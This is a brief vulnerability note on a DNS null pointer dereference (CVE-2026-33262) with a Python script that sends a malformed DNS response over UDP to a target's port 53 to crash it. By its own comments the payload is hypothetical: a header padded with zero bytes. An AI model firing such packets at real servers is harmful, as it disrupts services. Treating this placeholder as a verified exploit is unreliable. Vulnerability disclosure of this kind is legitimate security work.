An attacker can send replies that result in a null pointer dereference, caused by a missing consistency check and leading to a denial of service. Cookies are disabled by default.
The following code is for security research and authorized testing only.
python
# Conceptual Proof of Concept (PoC) for CVE-2026-33262
# This script is for educational purposes only to demonstrate the vulnerability concept.
# It simulates sending a crafted packet that triggers the null pointer dereference.
import socket
import struct
def send_malformed_packet(target_ip, target_port=53):
"""
Sends a crafted DNS response to trigger the inconsistency check failure.
"""
try:
# Create a UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# Construct a minimal DNS header and payload that bypasses consistency checks
# Transaction ID: 0x1234
# Flags: Response (0x8000)
# The specific payload structure depends on the actual missing check implementation.
# Here we simulate a truncated or malformed response.
header = struct.pack('!HHHHHH', 0x1234, 0x8000, 1, 0, 0, 0)
# Hypothetical payload that causes the dereference
payload = header + b'\x00' * 10
print(f"[*] Sending malformed packet to {target_ip}:{target_port}")
sock.sendto(payload, (target_ip, target_port))
print("[+] Packet sent. Check if the service crashed.")
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
# Usage example (replace with actual target IP for testing in an isolated lab)
# send_malformed_packet("192.168.1.10")